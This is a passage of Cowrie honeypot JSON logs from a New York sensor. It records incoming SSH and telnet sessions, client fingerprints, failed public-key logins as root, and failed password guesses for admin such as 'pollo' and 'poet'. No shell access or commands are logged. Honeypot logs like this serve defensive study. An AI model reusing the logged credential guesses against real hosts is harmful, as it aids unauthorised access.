14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:51:59.782930Z","src_ip":"209.90.232.249","session":"0f11863adce9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"57:02:69:3e:f4:28:ca:e4:52:3b:33:15:05:1a:6b:0d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNrXoIB55W3Hnw/G2wZE+ZnM2tuQCujtDeZjJmc5v+15squw4LhGtOgjpPwtFSXajFZlI+U18JSQ01Dxgagz4GGvAAl4gIfy+vjuuKBv5GwauovKT7A+fXD/Isw98rfr7otk0Sa9TFd9tm+zkeuydLX9TXT7xdTlAa4SDYCps+K5sAETeM9FhS5bbYE6fSybzZTe8b/mUXxjNMsJ6JXK3zfm+KneQogVylzOsdOCvXcH1dkV3HdsKYGMWU9ci/GP8g1Q5ZmuBt45r0aql1dxOIiD3+TEhwyz70wtNzs9KuRvp5vd3HAwWppq26eO+hzCTbp9HA+wAe+DCmKVY9Fid3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 57:02:69:3e:f4:28:ca:e4:52:3b:33:15:05:1a:6b:0d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:52:00.132388Z","src_ip":"209.90.232.249","session":"0f11863adce9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"57:02:69:3e:f4:28:ca:e4:52:3b:33:15:05:1a:6b:0d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNrXoIB55W3Hnw/G2wZE+ZnM2tuQCujtDeZjJmc5v+15squw4LhGtOgjpPwtFSXajFZlI+U18JSQ01Dxgagz4GGvAAl4gIfy+vjuuKBv5GwauovKT7A+fXD/Isw98rfr7otk0Sa9TFd9tm+zkeuydLX9TXT7xdTlAa4SDYCps+K5sAETeM9FhS5bbYE6fSybzZTe8b/mUXxjNMsJ6JXK3zfm+KneQogVylzOsdOCvXcH1dkV3HdsKYGMWU9ci/GP8g1Q5ZmuBt45r0aql1dxOIiD3+TEhwyz70wtNzs9KuRvp5vd3HAwWppq26eO+hzCTbp9HA+wAe+DCmKVY9Fid3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:52:00.136285Z","src_ip":"209.90.232.249","session":"0f11863adce9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e3:a4:c2:a8:53:ab:c2:fe:5c:ad:ab:4c:6b:de:9d:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpn+rSmAcViv/w6JXi5fMlkoVQAS+oNUr6JML3w/6cMB819ajedddMnyXdaGIX/V2QyEt6isqEBWaBeInFTgxs4juYuff7YRirCnxXrbjejjh0FMLl012jWnDaqVMBSpHu7u3bn3dffcFhql00V9pL3Pv9zMJxRdHsT/NGz64SNYQjhWL4MJq4RwXR/CRPVNybix7TL3IflCBxFDKd8RGd93/WLDQHTCyuoCkMlKbmkUcBgdZmsvG+/TKPJ/abutpR0U3Ej86tASuJRNKhA55Aw2/9C+AUd+aljwu18rluCAdr5ZclNOtrMaVfrosPyvfySY5fTlJtVJMoh185HPox","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e3:a4:c2:a8:53:ab:c2:fe:5c:ad:ab:4c:6b:de:9d:70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:52:00.211607Z","src_ip":"209.90.232.249","session":"0f11863adce9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e3:a4:c2:a8:53:ab:c2:fe:5c:ad:ab:4c:6b:de:9d:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpn+rSmAcViv/w6JXi5fMlkoVQAS+oNUr6JML3w/6cMB819ajedddMnyXdaGIX/V2QyEt6isqEBWaBeInFTgxs4juYuff7YRirCnxXrbjejjh0FMLl012jWnDaqVMBSpHu7u3bn3dffcFhql00V9pL3Pv9zMJxRdHsT/NGz64SNYQjhWL4MJq4RwXR/CRPVNybix7TL3IflCBxFDKd8RGd93/WLDQHTCyuoCkMlKbmkUcBgdZmsvG+/TKPJ/abutpR0U3Ej86tASuJRNKhA55Aw2/9C+AUd+aljwu18rluCAdr5ZclNOtrMaVfrosPyvfySY5fTlJtVJMoh185HPox","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:52:00.215965Z","src_ip":"209.90.232.249","session":"0f11863adce9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2b:8b:64:b0:ac:43:45:30:9d:3c:ec:11:76:f7:00:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDD0T9OuksHgu2RnQHwcMnaEu1aSxmhJ2i4htQDi3tGODhfIPQQpLtq/8cxQmU/rGXY1Bzrmtxq44yXOorO40E0W2ZR5EtuMvo1URKBR2PMvLDsG3PfXfKX30oRvYCww6+BLXb6sAoG5t1gFTF2x0XIH0zzi2/8zWbWvCwM+e2SNqfD8mM7LaAyRoi0TRthpo6zWLMs/ijfwAMOfVibwwRKbIWHqXSLymutwtC9vp/AtP1uFLkTtsOiFkQl7asWUrPo1bFuApbq9fR0avapF23zBiRukAKFoatFTJbhrcN1o7sQhDMFyvgcAydUwvYNSg3eh+d8c33JN8V9fqeJ2S8P","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2b:8b:64:b0:ac:43:45:30:9d:3c:ec:11:76:f7:00:e0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:52:00.296318Z","src_ip":"209.90.232.249","session":"0f11863adce9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2b:8b:64:b0:ac:43:45:30:9d:3c:ec:11:76:f7:00:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDD0T9OuksHgu2RnQHwcMnaEu1aSxmhJ2i4htQDi3tGODhfIPQQpLtq/8cxQmU/rGXY1Bzrmtxq44yXOorO40E0W2ZR5EtuMvo1URKBR2PMvLDsG3PfXfKX30oRvYCww6+BLXb6sAoG5t1gFTF2x0XIH0zzi2/8zWbWvCwM+e2SNqfD8mM7LaAyRoi0TRthpo6zWLMs/ijfwAMOfVibwwRKbIWHqXSLymutwtC9vp/AtP1uFLkTtsOiFkQl7asWUrPo1bFuApbq9fR0avapF23zBiRukAKFoatFTJbhrcN1o7sQhDMFyvgcAydUwvYNSg3eh+d8c33JN8V9fqeJ2S8P","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:52:00.300385Z","src_ip":"209.90.232.249","session":"0f11863adce9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2d:d3:48:78:b4:92:c7:a7:4d:b3:2f:47:43:20:c6:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCudr+FY7NLKjYiGijsU2OAZ1+l4mRkqFFfVpgZhFyzTGeZFejkdrhpsgCGs/Tg1/R8RX1qdSUZ5SXYHAIk308SaTHQ2zoksyyegzVHx3CcRaFUJtqfm5VDqfXvVrfXxbdQylXi2C5tWV7IuzA17IsRh1UDXR3DlrHObDOu8UdYuS9eBNQ7mHNHUc8AH82UNJc9WdvlszUgt7Lxz2uOUdzceL9moKyFNStt7j1toiw6kOI88XOdMvO5XDbtotyfrojZ1JphkrhSgLw7xsoGkJ3fdvm1ccP90/Li9RCRZ0lbp3MMlIimJHUDaFvegIVL7JWfHadrwfOU/25x8fwn/6Hb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2d:d3:48:78:b4:92:c7:a7:4d:b3:2f:47:43:20:c6:02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:52:00.375975Z","src_ip":"209.90.232.249","session":"0f11863adce9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2d:d3:48:78:b4:92:c7:a7:4d:b3:2f:47:43:20:c6:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCudr+FY7NLKjYiGijsU2OAZ1+l4mRkqFFfVpgZhFyzTGeZFejkdrhpsgCGs/Tg1/R8RX1qdSUZ5SXYHAIk308SaTHQ2zoksyyegzVHx3CcRaFUJtqfm5VDqfXvVrfXxbdQylXi2C5tWV7IuzA17IsRh1UDXR3DlrHObDOu8UdYuS9eBNQ7mHNHUc8AH82UNJc9WdvlszUgt7Lxz2uOUdzceL9moKyFNStt7j1toiw6kOI88XOdMvO5XDbtotyfrojZ1JphkrhSgLw7xsoGkJ3fdvm1ccP90/Li9RCRZ0lbp3MMlIimJHUDaFvegIVL7JWfHadrwfOU/25x8fwn/6Hb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:52:00.379873Z","src_ip":"209.90.232.249","session":"0f11863adce9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e4:37:9f:a5:18:79:82:b5:f9:be:7f:3e:d5:91:a9:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4ylDR0JFiksTpfU6a2WwaZ0NoehGrKCX5dhfdmNbbNeAwbS677cGB/aU5u1JYGd3FPwlipmwR8Abru8uLRduTeAETJvvV+nho/Spy24Qcvf5TfHrK/Z6E7xZZbP5c8QNlJbGbXTmeriqgQrQYVP090npxJ2Hc2w7JzJhAUsRie95im1PpesdSjlnka0PLSfSTXSXlYYaSH/Qev7VCadsThbZODi0of/NZSACViz/psB2AovZXxFW0KdvvE7ubGVf0BkR6EUxbSCov4QX8NhkwKWoKvIdhNEvYBq0g51z7pncQbe1nZ8ifAPFhbqhVgyTXKt6PAOmx1DOTM+XhDdoiQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e4:37:9f:a5:18:79:82:b5:f9:be:7f:3e:d5:91:a9:f6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:52:00.454915Z","src_ip":"209.90.232.249","session":"0f11863adce9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e4:37:9f:a5:18:79:82:b5:f9:be:7f:3e:d5:91:a9:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4ylDR0JFiksTpfU6a2WwaZ0NoehGrKCX5dhfdmNbbNeAwbS677cGB/aU5u1JYGd3FPwlipmwR8Abru8uLRduTeAETJvvV+nho/Spy24Qcvf5TfHrK/Z6E7xZZbP5c8QNlJbGbXTmeriqgQrQYVP090npxJ2Hc2w7JzJhAUsRie95im1PpesdSjlnka0PLSfSTXSXlYYaSH/Qev7VCadsThbZODi0of/NZSACViz/psB2AovZXxFW0KdvvE7ubGVf0BkR6EUxbSCov4QX8NhkwKWoKvIdhNEvYBq0g51z7pncQbe1nZ8ifAPFhbqhVgyTXKt6PAOmx1DOTM+XhDdoiQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:52:00.458776Z","src_ip":"209.90.232.249","session":"0f11863adce9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:52:00.533580Z","src_ip":"209.90.232.249","session":"0f11863adce9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.44429349899292,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:52:00.724262Z","src_ip":"36.22.114.141","session":"09d3a2b6587f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.199.94.79","src_port":52903,"dst_ip":"10.17.0.5","dst_port":23,"session":"931db0517a24","protocol":"telnet","message":"New connection: 198.199.94.79:52903 (10.17.0.5:23) [session: 931db0517a24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:52:34.374162Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.160.135","src_port":58000,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f91beb3ed2a","protocol":"ssh","message":"New connection: 64.89.160.135:58000 (10.17.0.5:22) [session: 2f91beb3ed2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:52:45.116817Z"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:52:48.415569Z","src_ip":"64.89.160.135","session":"2f91beb3ed2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":48648,"dst_ip":"10.17.0.5","dst_port":22,"session":"131b75e74093","protocol":"ssh","message":"New connection: 2.57.121.112:48648 (10.17.0.5:22) [session: 131b75e74093]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:52:55.449510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:52:55.453572Z","src_ip":"2.57.121.112","session":"131b75e74093","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:52:55.557716Z","src_ip":"2.57.121.112","session":"131b75e74093","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pollo","message":"login attempt [admin/pollo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:52:56.047499Z","src_ip":"2.57.121.112","session":"131b75e74093","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pollit","message":"login attempt [admin/pollit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:52:57.154613Z","src_ip":"2.57.121.112","session":"131b75e74093","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pokesmot","message":"login attempt [admin/pokesmot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:52:58.262325Z","src_ip":"2.57.121.112","session":"131b75e74093","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"poet","message":"login attempt [admin/poet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:52:59.370270Z","src_ip":"2.57.121.112","session":"131b75e74093","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"plazma","message":"login attempt [admin/plazma] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:53:00.497510Z","src_ip":"2.57.121.112","session":"131b75e74093","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:53:01.608318Z","src_ip":"2.57.121.112","session":"131b75e74093","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.8710458278656,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:53:05.245114Z","src_ip":"198.199.94.79","session":"931db0517a24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":13720,"dst_ip":"10.17.0.5","dst_port":23,"session":"daacb74cacfc","protocol":"telnet","message":"New connection: 212.55.149.117:13720 (10.17.0.5:23) [session: daacb74cacfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:53:16.599807Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.26.87.217","src_port":52936,"dst_ip":"10.17.0.5","dst_port":22,"session":"324266991f46","protocol":"ssh","message":"New connection: 195.26.87.217:52936 (10.17.0.5:22) [session: 324266991f46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:53:37.279058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:53:37.283560Z","src_ip":"195.26.87.217","session":"324266991f46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:53:37.371811Z","src_ip":"195.26.87.217","session":"324266991f46","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7c:2c:69:67:2f:07:69:a5:c2:21:07:d6:f2:87:85:5e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6J7e+KSv0bZiInHsRFFje6sM9nDrTQzDgRD/w37PaEc9nTswaEydwDnylECvX4vb6jMNkkAgki27FNeIt1sTGzIvuBOC8If8x+kdWlS2s8GYyLjPYa8rqaQpH8tL3oXfmGBkRBjRUR8XfLPmZv6/LGJotH92iVqnDIrWg6QhHj6SjDL/mEOa9O2EqG1bD/Lx9U7CmO5o2fF2rXnyzKmagARIaWt0kxc6x1LnV8hyN88WvMN6kO3nKOKBWn4FQhL6o8X02TU/U7MzA0syk8yENecTgP/sq4XS9CtFCGQOHpMu3hOOoQ3Go2WEWYnsrqo5fPh7A4Tu5CCnvHwfJs3Kj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7c:2c:69:67:2f:07:69:a5:c2:21:07:d6:f2:87:85:5e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:53:37.785983Z","src_ip":"195.26.87.217","session":"324266991f46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7c:2c:69:67:2f:07:69:a5:c2:21:07:d6:f2:87:85:5e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6J7e+KSv0bZiInHsRFFje6sM9nDrTQzDgRD/w37PaEc9nTswaEydwDnylECvX4vb6jMNkkAgki27FNeIt1sTGzIvuBOC8If8x+kdWlS2s8GYyLjPYa8rqaQpH8tL3oXfmGBkRBjRUR8XfLPmZv6/LGJotH92iVqnDIrWg6QhHj6SjDL/mEOa9O2EqG1bD/Lx9U7CmO5o2fF2rXnyzKmagARIaWt0kxc6x1LnV8hyN88WvMN6kO3nKOKBWn4FQhL6o8X02TU/U7MzA0syk8yENecTgP/sq4XS9CtFCGQOHpMu3hOOoQ3Go2WEWYnsrqo5fPh7A4Tu5CCnvHwfJs3Kj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:53:37.789647Z","src_ip":"195.26.87.217","session":"324266991f46","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5d:7f:3c:26:21:5d:8f:33:81:bf:bf:86:52:20:6f:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDM8ZMetk03Mzwqm/dKAA68xB2AamzeX4rxUfT3BkK0cKedR9DNgLrvnkFzV2iuPa/iI0dDpHiwkYXhEbADNNfBfeQU53GWcFkhxG4x7KaajofsRuFoUPNn6nk0xcW4ONKkwB7Z4S7J/5SX3eEx5eipByhDgdIEA/hljqF6o09SlpztKTSPtvVpQ/r5Qm6Kc8dFGPXxFK5BwP+1/wvYTHHRuCTMDrOeXHjE8SnN1KutLLTngbB1c8xZwv3/StHLEhUOnSh3M4PIrd9Wb2S/2xrI5sxSfzTAFbsELF3dDJ2f0X5gR4zWrrRZkVBHU8/Uq03j3DiQkiZdjowCF4dyWGZjbhIk9thmImpXXoMxkOw7gv9SZ8X5N7kTgFEAb9+ZNEoHfHe0CU0VB0pC7AaZOxKuYbcs6ZHK8vQOh6nh6HCu6sWxK5XzbrG9b9atlwWiJTLQmbiAVf9XYvEcu8s4JWCJi3CTN+L5RPnx4r5jDXrEKsI4QIGwLWeHncV6ZCXBVq9HLDpXn+lP3Bs/hlzGZCRGOcO8CIMXg299GLZ9j8ITWgVbNwNnJFCrP7xTHa3bn2cgTEq5i3QaDgQxFYsyX1OjeUZr04iQ0B7DHd/8IdPaWrg1X5Yh4/z07ka5VlztmuLuVBA12iqnqvDaW2bPJNCGa5fYTppcwrbCeFqm9vKagw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5d:7f:3c:26:21:5d:8f:33:81:bf:bf:86:52:20:6f:9f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:53:37.877511Z","src_ip":"195.26.87.217","session":"324266991f46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5d:7f:3c:26:21:5d:8f:33:81:bf:bf:86:52:20:6f:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDM8ZMetk03Mzwqm/dKAA68xB2AamzeX4rxUfT3BkK0cKedR9DNgLrvnkFzV2iuPa/iI0dDpHiwkYXhEbADNNfBfeQU53GWcFkhxG4x7KaajofsRuFoUPNn6nk0xcW4ONKkwB7Z4S7J/5SX3eEx5eipByhDgdIEA/hljqF6o09SlpztKTSPtvVpQ/r5Qm6Kc8dFGPXxFK5BwP+1/wvYTHHRuCTMDrOeXHjE8SnN1KutLLTngbB1c8xZwv3/StHLEhUOnSh3M4PIrd9Wb2S/2xrI5sxSfzTAFbsELF3dDJ2f0X5gR4zWrrRZkVBHU8/Uq03j3DiQkiZdjowCF4dyWGZjbhIk9thmImpXXoMxkOw7gv9SZ8X5N7kTgFEAb9+ZNEoHfHe0CU0VB0pC7AaZOxKuYbcs6ZHK8vQOh6nh6HCu6sWxK5XzbrG9b9atlwWiJTLQmbiAVf9XYvEcu8s4JWCJi3CTN+L5RPnx4r5jDXrEKsI4QIGwLWeHncV6ZCXBVq9HLDpXn+lP3Bs/hlzGZCRGOcO8CIMXg299GLZ9j8ITWgVbNwNnJFCrP7xTHa3bn2cgTEq5i3QaDgQxFYsyX1OjeUZr04iQ0B7DHd/8IdPaWrg1X5Yh4/z07ka5VlztmuLuVBA12iqnqvDaW2bPJNCGa5fYTppcwrbCeFqm9vKagw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:53:37.881035Z","src_ip":"195.26.87.217","session":"324266991f46","protocol":"ssh"}
